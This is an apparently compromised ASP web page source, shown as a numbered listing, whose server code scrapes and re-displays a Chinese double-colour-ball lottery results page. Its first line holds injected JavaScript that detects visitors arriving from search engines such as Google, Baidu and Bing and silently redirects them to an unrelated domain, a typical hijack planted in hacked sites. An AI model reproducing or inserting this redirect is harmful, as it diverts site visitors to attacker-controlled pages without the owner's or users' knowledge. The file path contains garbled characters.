d:\wwwroot\wuchunhua\ץȡ\index˫ɫ.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
002:
function getHTTPPage(url,cset)
003:
dim Http
004:
set Http=server.createobject("MSXML2.XMLHTTP")
005:
Http.open "GET",url,false
006:
Http.send()
007:
if Http.readystate<>4 then exit function
008:
getHTTPPage=bytesToBSTR(Http.responseBody,cset)
009:
set http=nothing
010:
if err.number<>0 then err.Clear
011:
end function
012:
Function BytesToBstr(body,Cset)
013:
dim objstream
014:
set objstream = Server.CreateObject("adodb.stream")
015:
objstream.Type = 1
016:
objstream.Mode =3
017:
objstream.Open
018:
objstream.Write body
019:
objstream.Position = 0
020:
objstream.Type = 2
021:
objstream.Charset = Cset
022:
BytesToBstr = objstream.ReadText
023:
objstream.Close
024:
set objstream = nothing
025:
End Function
026:
response.write(getHTTPPage("http://kaijiang.zhcw.com/zhcw/html/ssq/list.html/","gb2312"))
027:
%
>
028:
029: